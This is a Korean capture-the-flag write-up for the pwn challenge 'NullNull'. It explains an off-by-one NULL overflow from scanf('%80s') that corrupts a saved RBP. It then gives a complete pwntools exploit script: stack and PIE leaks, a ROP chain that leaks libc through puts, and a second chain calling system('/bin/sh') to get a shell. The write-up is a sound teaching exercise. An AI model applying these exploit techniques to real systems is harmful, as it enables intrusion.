[PWN] NullNull Write-Up

Magnolia·2026년 4월 17일

보호 기법

CET는 고려하지 않고 풀이했다.


코드 분석

이 프로그램은 main에서 스택에 0x100 크기의 배열을 만들고 이를 sub_12F0 함수에 넘긴다.

sub_12F0 함수의 동작은 다음과 같다.

  1. main loop 재시작
  2. 문자열 입력 후 출력
  3. array[index] = value
  4. printf("%ld\n", array[index])

취약점은 1번 메뉴에서 발생한다.

int sub_13BD()
{
  char s[80]; // [rsp+0h] [rbp-50h] BYREF

  if ( (unsigned int)__isoc99_scanf("%80s", s) != 1 )
    _exit(1);
  return puts(s);
}

앞으로 sub_12F0 함수는 loop 함수라고 하겠다.


취약점 분석

buf의 크기는 80바이트이지만 %80s는 최대 80바이트를 입력받고 마지막에 \0을 붙이기 때문에 더미를 80바이트 넣으면 1바이트 오버플로우가 발생한다.

이 1바이트는 sub_13BD의 saved RBP 슬롯, 즉 caller인 loop 함수의 RBP 값 하위 1바이트를 널로 만든다.

그러면 sub_13BD 함수가 return할 때 하위 1바이트가 0x00으로 바뀌게 되고 나중에 지역 변수를 읽을 때 잘못된 위치를 읽게 된다.

그러면 스택에 남아 있던 다른 값들을 size, array로 착각하여 운이 좋다면 array 포인터가 스택을 가리키게 되어 2번과 3번 메뉴를 통해 스택에 임의로 쓰거나 읽을 수 있다!!


익스플로잇

전략

  1. 1번 메뉴에서 버퍼 더미로 80바이트 채우기
  2. saved RBP 하위 1바이트 overwrite
  3. 3번 메뉴로 main의 rbp와 ret leak
  4. 릭한 ret을 통해 PIE base 계산
  5. 스택 쓰기 권한을 통해 puts를 통한 libc leak ROP 구성
  6. ROP를 통해 libc base 계산
  7. loop 재진입
  8. /bin/sh ROP 구성
  9. 4번 입력하여 return 후 ROP를 통해 셸 획득

main_ret은 main에서 loop 호출 직후 주소이다. 디스어셈블 기준 해당 오프셋이 0x1249이므로 PIE base는 main_ret에서 0x1249를 빼면 된다.

또한 릭한 main_rbp를 기준으로 pivot 위치와 배열 주소를 계산할 수 있다.

pivot = main_rbp - 0x120
main_array = pivot + 0x20

0x20인 이유는 실제 배열이 main_rbp - 0x100에 있고 pivot은 main_rbp - 0x120이기 때문이다.

과정

먼저 off-by-one NULL을 발생시킨다.

p.sendline(b'1')
p.sendline(b'A' * 80)
p.recvline()

p.sendline(b'3')
p.sendline(b'2')
main_rbp = int(p.recvline().strip())
print(f'main rbp = {hex(main_rbp)}')

p.sendline(b'3')
p.sendline(b'3')
main_ret = int(p.recvline().strip())
print(f'main_ret = {hex(main_ret)}')

pie_base = main_ret - 0x1249
pivot = main_rbp - 0x120
print(f'pie base = {hex(pie_base)}')
print(f'pivot = {hex(pivot)}')

이를 통해 main의 rbp와 ret을 릭하고 pivot 위치와 pie base 또한 구할 수 있고 pie base를 통해서 가젯과 함수 주소 또한 구할 수 있다.

이제 puts를 통해 libc base를 릭하는 ROP 체인을 구성한다. 현재 loop의 saved RIP 위치이기 때문에 index 3부터 작성해야한다.

또한 평소처럼 ROP체인을 뭉땡이로 박는 것이 아니라 이 프로그램의 쓰기가 2번 메뉴로 배열 원소 하나씩 8바이트를 쓰는 방식이기 때문에 끊어서 넣어야한다.

체인 구성은 다음과 같다.

idx3 = ret
idx4 = pop rdi; ret
idx5 = puts@got
idx6 = puts@plt
idx7 = pop rdi; ret
idx8 = 0x20
idx9 = pop rsi; pop r15; ret
idx10 = main_array
idx11 = 0
idx12 = loop

이 체인은 다음 동작을 한다.

puts(puts_got);
loop(0x20, main_array);

이것을 통해 puts의 libc 주소를 릭하고 loop 함수를 호출한다. 여기서 ret2main을 안하고 loop로 가는 이유는 main에서는 배열을 다시 초기화하기 때문에 loop로 돌아가는 것이다.

ret = pie_base + 0x000000000000101a
pop_rdi = pie_base + 0x00000000000014e3
pop_rsi_r15 = pie_base + 0x00000000000014e1

puts_plt = pie_base + e.plt['puts']
puts_got = pie_base + e.got['puts']
loop = pie_base + 0x12f0
main_array = pivot + 0x20

p.sendline(b'2')
p.sendline(b'3')
p.sendline(str(ret).encode())

p.sendline(b'2')
p.sendline(b'4')
p.sendline(str(pop_rdi).encode())

p.sendline(b'2')
p.sendline(b'5')
p.sendline(str(puts_got).encode())

p.sendline(b'2')
p.sendline(b'6')
p.sendline(str(puts_plt).encode())

p.sendline(b'2')
p.sendline(b'7')
p.sendline(str(pop_rdi).encode())

p.sendline(b'2')
p.sendline(b'8')
p.sendline(str(0x20).encode())

p.sendline(b'2')
p.sendline(b'9')
p.sendline(str(pop_rsi_r15).encode())

p.sendline(b'2')
p.sendline(b'10')
p.sendline(str(main_array).encode())

p.sendline(b'2')
p.sendline(b'11')
p.sendline(b'0')

p.sendline(b'2')
p.sendline(b'12')
p.sendline(str(loop).encode())

p.sendline(b'4')

이렇게되면 return하며 ROP 체인이 실행되고 libc base를 구할 수 있다.

leak = p.recvline()
puts = u64(leak.rstrip(b'\n').ljust(8, b'\x00'))
libc_base = puts - libc.sym['puts']
system = libc.sym['system'] + libc_base
binsh = next(libc.search(b'/bin/sh\x00')) + libc_base
print(f'libc base = {hex(libc_base)}')

구한 libc base를 통해 system과 /bin/sh의 주소 또한 구해준다.

재진입한 loop의 saved RIP는 main_array 기준 idx9기 때문에 여기부터 2차 ROP 페이로드를 작성하면 된다.

saved RIP = pivot + 0x68
main_array = pivot + 0x20

(saved RIP - main_array) / 8
= (0x68 - 0x20) / 8
= 9

체인 구성은 다음과 같다.

idx9 = ret
idx10 = pop rdi; ret
idx11 = "/bin/sh"
idx12 = system
p.sendline(b'2')
p.sendline(b'9')
p.sendline(str(ret).encode())

p.sendline(b'2')
p.sendline(b'10')
p.sendline(str(pop_rdi).encode())

p.sendline(b'2')
p.sendline(b'11')
p.sendline(str(binsh).encode())

p.sendline(b'2')
p.sendline(b'12')
p.sendline(str(system).encode())

이렇게 ROP 체인을 구성하고 4번을 입력하여 return하면 셸을 획득할 수 있다.

익스플로잇 코드

from pwn import *

p = process('./nullnull')
# p = remote('host8.dreamhack.games', 11966)
e = ELF('./nullnull')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc.so.6')

p.sendline(b'1')
p.sendline(b'A' * 80)
p.recvline()

p.sendline(b'3')
p.sendline(b'2')
main_rbp = int(p.recvline().strip())
print(f'main rbp = {hex(main_rbp)}')

p.sendline(b'3')
p.sendline(b'3')
main_ret = int(p.recvline().strip())
print(f'main_ret = {hex(main_ret)}')

pie_base = main_ret - 0x1249
pivot = main_rbp - 0x120
print(f'pie base = {hex(pie_base)}')
print(f'pivot = {hex(pivot)}')

ret = pie_base + 0x000000000000101a
pop_rdi = pie_base + 0x00000000000014e3
pop_rsi_r15 = pie_base + 0x00000000000014e1

puts_plt = pie_base + e.plt['puts']
puts_got = pie_base + e.got['puts']
loop = pie_base + 0x12f0
main_array = pivot + 0x20

p.sendline(b'2')
p.sendline(b'3')
p.sendline(str(ret).encode())

p.sendline(b'2')
p.sendline(b'4')
p.sendline(str(pop_rdi).encode())

p.sendline(b'2')
p.sendline(b'5')
p.sendline(str(puts_got).encode())

p.sendline(b'2')
p.sendline(b'6')
p.sendline(str(puts_plt).encode())

p.sendline(b'2')
p.sendline(b'7')
p.sendline(str(pop_rdi).encode())

p.sendline(b'2')
p.sendline(b'8')
p.sendline(str(0x20).encode())

p.sendline(b'2')
p.sendline(b'9')
p.sendline(str(pop_rsi_r15).encode())

p.sendline(b'2')
p.sendline(b'10')
p.sendline(str(main_array).encode())

p.sendline(b'2')
p.sendline(b'11')
p.sendline(b'0')

p.sendline(b'2')
p.sendline(b'12')
p.sendline(str(loop).encode())

p.sendline(b'4')

leak = p.recvline()
puts = u64(leak.rstrip(b'\n').ljust(8, b'\x00'))
libc_base = puts - libc.sym['puts']
system = libc.sym['system'] + libc_base
binsh = next(libc.search(b'/bin/sh\x00')) + libc_base
print(f'libc base = {hex(libc_base)}')

p.sendline(b'2')
p.sendline(b'9')
p.sendline(str(ret).encode())

p.sendline(b'2')
p.sendline(b'10')
p.sendline(str(pop_rdi).encode())

p.sendline(b'2')
p.sendline(b'11')
p.sendline(str(binsh).encode())

p.sendline(b'2')
p.sendline(b'12')
p.sendline(str(system).encode())

p.sendline(b'4')
p.interactive()

결과

이렇게 플래그를 구했다

ASLR 때문에 한번에 성공하진 않고 한 16번정도 돌리면 운좋게 풀리는거같다


정리

%80s로 인해 80바이트 버퍼 뒤의 saved RBP 하위 1바이트가 null로 덮이면서 loop의 rbp가 엉망이 되고 그 결과 array 포인터가 스택 쪽으로 오인하게 만들어 2번, 3번 메뉴를 통해 스택을 쓰고 읽을 수 있게 만들어 PIE와 libc를 leak하고 loop로 재진입하여 ROP를 실행하는 재미있는 문제였다.

0개의 댓글